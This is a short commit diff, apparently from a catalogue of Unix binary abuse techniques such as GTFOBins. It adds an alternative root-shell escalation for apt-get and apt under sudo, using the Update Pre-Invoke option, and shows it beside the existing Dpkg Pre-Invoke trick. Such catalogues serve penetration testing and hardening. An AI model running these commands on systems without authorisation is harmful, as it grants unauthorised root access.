Add alternative apt* shell technique

Thanks to
https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/

Also related to #38.
This commit is contained in:
Andrea Cardaci 2019-01-21 16:28:20 +01:00
parent 4fdaada820
commit 21f760676c
2 changed files with 4 additions and 0 deletions

View File

@ -15,4 +15,6 @@ functions:
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
- description: When the shell exits the `update` command is actually executed.
code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
---

View File

@ -15,4 +15,6 @@ functions:
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl
- description: When the shell exits the `update` command is actually executed.
code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
---